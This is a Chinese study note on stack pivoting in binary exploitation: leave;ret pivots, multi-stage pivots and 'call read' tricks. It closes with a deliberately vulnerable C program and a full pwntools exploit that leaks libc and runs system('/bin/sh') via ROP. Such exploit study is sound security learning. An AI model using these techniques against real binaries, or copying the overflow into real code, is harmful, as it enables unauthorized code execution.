写在前面的话

​ 对栈迁移还是不熟悉,还得练,所以有了这篇文章,是复习,也是重新学习,由于有点懒,没太详细些,我认为重要的还是本篇文章拓宽了一下我对程序执行流程的思路,另外让我对漏洞利用的手法有了新的态度吧。另外,本篇文章主要还是学习国资师傅的文章的时候做的笔记。引用较多,且实例较少,我就调了一个程序,感觉差不多就没多写了。

​ 栈迁移(stack pivote)又叫**伪造栈帧(fake frame)**,即利用leave,ret指令将bp,sp移动到自己想要的地方。最终目的还是控制ip从而控制程序流

普通栈迁移

通过leave ret逐步将栈迁移到目标位置,使用场景

  1. 主函数不能返回(例如 : HITCON-Training LAB6
  2. ret2dlresolve 需要栈帧一般都非常长,这时候选择栈迁移能很好的省去一些不必要的麻烦。
  3. 只能溢出1个或者2个字长,这种题目就等于把:“请栈迁移”写在脸上。这种题目的特点是两次输入,也分为两种情况。
    1. 迁移到栈上,第1次输入是泄露地址,第2次是布置栈帧 + 迁移。
    2. 迁移到非栈上,1次输入是在非栈上布置栈帧,另1次迁移至非栈上,两次顺序可以互换。

一阶栈迁移

对于溢出字长过短的情况,也可以有两种模式

  1. 可以溢出到返回地址自行布置 leave ret
  2. 只能溢出覆盖 rbp,必须利用原本函数中有的两次 leave ret 来完成迁移。

需要注意的是,第二种情况可能会出现第一次leave ret后执行其他函数,导致栈上的数据被污染的情况。针对此种情况最好的解决办法是迁移到未被污染的地方,或者执行onegadget

二阶栈迁移

除了溢出字长过短之外,有可能栈帧长度也极短

  1. 栈上的回头反打
  2. 非栈上的二阶栈迁移

栈上的回头反打

​ 在栈上栈帧长度不够时,把能拆的步骤拆开,不断回头多次栈迁移即可

(稍后插入练习)

非栈上的二阶栈迁移

首先插入一段引用,说明一下库函数会抬高栈帧,需要抬高的栈帧可写:

程序 bss 段毕竟长度有限,绝大多数库函数都需要一定的栈帧,尤其是 system 函数需要 0x200 ,并且 bss 段前面可能还有一些程序需要的数据,所以迁移的位置需要一定的考量

当非栈上的可控区域长度不足时,可以考虑迁移到非栈上之后二次栈迁移。通过ret2csu,仅需要0x80字节即可为所欲为

三阶栈迁移

难道0x80的长度就是极限了么?不能进一步缩小栈帧长度吗?答案是,可以!

灵魂呼叫

1. 你使用过call吗

在汇编代码中,调用其他函数一般有 2 种方式,一种是 call ,一种是 jmp(jcc) 。其中,大多是用 call 的形式,plt 表中使用的为 jmp 形式。

2. call read 移形换影

call指令会将ip压栈,然后ret时将ip弹出。如果我们call的是read函数,而此时数据又能覆盖到存储ip的位置,那么,如果我们将ip修改,就能返回到我们想要返回的地方

3. 栈帧拼接

通过call read可以将两个或多个栈帧拼接到一起,向栈上写入数据与在bss段写入数据可以有很多组合方式。

左右横跳

通过控制栈帧,最终实现任意地址写的功能

移形换影

利用call_read时的ret,在read结束时重新劫持程序流,在使用的时候要注意sp指针的位置。通常来说控制sp位于可控地址的最低处最好,可以防止栈帧污染数据。

爆栈之术

你该知道的,总有些时候没办法泄露关键信息的,这时候只能尝试一下覆盖栈的最后一位,试试运气啦

重启大法

开始抽象

手法归纳

​ 简单归纳一下学到的手法及作用

  • call_read 移形换影:结束时会有一个call的ret保存在栈上,若可向该地址写入ret,就可以在read结束后立即控制栈帧
  • call_read 栈上写:通常来说调用read函数的汇编寻址都是基于bp指针偏移的,只要控制bp指针的位置就可以控制写入的位置
  • 栈帧拼接:通过适当布置可以使读入内容不断向后或向前推进,可通过循环分多次读入
  • 左右横跳:通过“中转地址”实现任意地址写
  • sp 控位:控制sp指向读入开始的地方然后写入ROP链

手法总结

​ 总结一下上述手法

移形换影

​ 函数leave ret后,若再次利用call read流程,就可以布栈

此时有两种情况

  • 若无puts等函数污染,则可以直接利用残留的寄存器值在原位置再写一次,此时,可以直接覆写read的返回地址,继续挟持程序流

  • 观察汇编代码可以看到,read的地址多半是通过bp寄存器偏移得到的,所以控制了bp寄存器的值就可以控制读入位置。

栈帧拼接

​ 通过跳转指令(jmp、ret),将数块ROP片段拼接到一起,达到目的

左右横跳

​ 中转地址做“中转站”实现任意地址写

sp控位

​ 控制sp的位置,使call_read时返回地址刚好是写入开始的地方,本次写入就可以作为ROP链。

​ 另外,举个例子,如果有函数调用对栈上数据污染的情况,可以利用移形换影配合leave_ret避免污染,仅需要三个字长的读入,且栈迁移后还可以通过寄存器残留在原位置重新布置两字长的payload内容。

思路探析

​ 其实回头再来看的话,似乎这个发现的过程就是对汇编指令的加深理解,是对程序执行流程的更进一步。但是我们应该看到由此可以窥见的更多手法的雏形。随着我们对程序执行过程的理解不断加深,肯定会出现各种各样的利用方式,有些的泛用性比较广泛,可以达到各种各样的效果。当然我们可以在再次见到的时候一点一点构造利用过程,最终达到目的。但是,这样必然会浪费大量的时间。而且散碎的知识也不利于我们的思考过程。若可以将大多数手法泛用化,将利用方式总结起来,让我们不必更多地思考实现细节,而是从产生条件、达到效果这两个方面来思考问题。这样我们将可以做到更快更好。

结论

​ 对《从0到1》上的比喻有了更深的感悟,内功高手也要修炼武功招式,否则就是空有境界,始终称不上真正的高手的。

练习

call_read

整了道题,练练手,就开个nx保护得了。

#include<stdio.h>

void vuln(){
char buf[0x10];
puts("Input your context:");
read(0,buf,0x20);
}
int main(){
char hallo[]="This is a test.";
puts(hallo);
vuln();
}

exp:

from pwn import *
from time import sleep

context(os="linux",arch="amd64",log_level="debug")
pwnfile = "./call_read"
sh = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("libc.so.6")
#gdb.attach(sh)
# 在这个过程中sp与read的地址无关,仅用于leave 和 ret

# leave ret, bp -> bss
bss = elf.bss() + 0x800
call_read = 0x401187
stack_read = 0x401171
payload = b'a'*0x10 + p64(bss) + p64(stack_read)
sh.sendafter(b"context:\n",payload)
sleep(0.2)

# leave ret, sp -> bss, bp -> buf, stack_read
stack_puts = 0x4011b7
puts_got = 0x404018
payload = flat([b'a'*0x10, bss+0x100, call_read])
sh.send(payload)
sleep(0.2)

# 布置bss, call_read
payload = flat([stack_puts, b'a'*0x8, b'/bin/sh\0', stack_read])
sh.send(payload)

# leave ret, sp -> buf, bp -> bss, stack_read
payload = flat([b'a'*0x10, bss-0x18, stack_read])
sh.send(payload)

sleep(0.2)
payload = b'a'*0x10 + p64(0x404028)
sh.send(payload)
puts_addr = u64(sh.recv(6).ljust(8,b'\x00'))
log.info("puts_addr is -> 0x%x" %puts_addr)

# 推测libc_base
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.info("libc_base is -> 0x%x" %libc_base)

# 用libc中的gadget
libc_pop_rdi_ret = 0x2a3e5 + libc_base
binsh_addr = bss
leave_ret = 0x40118d
ret = 0x40101a
shell_rop = flat([ret, libc_pop_rdi_ret, binsh_addr, system_addr])

# read移形换影执行下次内容
payload = flat([bss+0x8-0x18, stack_read, bss-0x10-0x18, leave_ret])
sleep(0.2)
sh.send(payload)
sleep(0.2)
#pause()
sh.send(shell_rop)
sh.interactive()

移形换影,左右横跳,sp控位都用到了,但是没栈帧拼接。就一次输入嘛,怎么说呢?其实感觉差不多,自己意会吧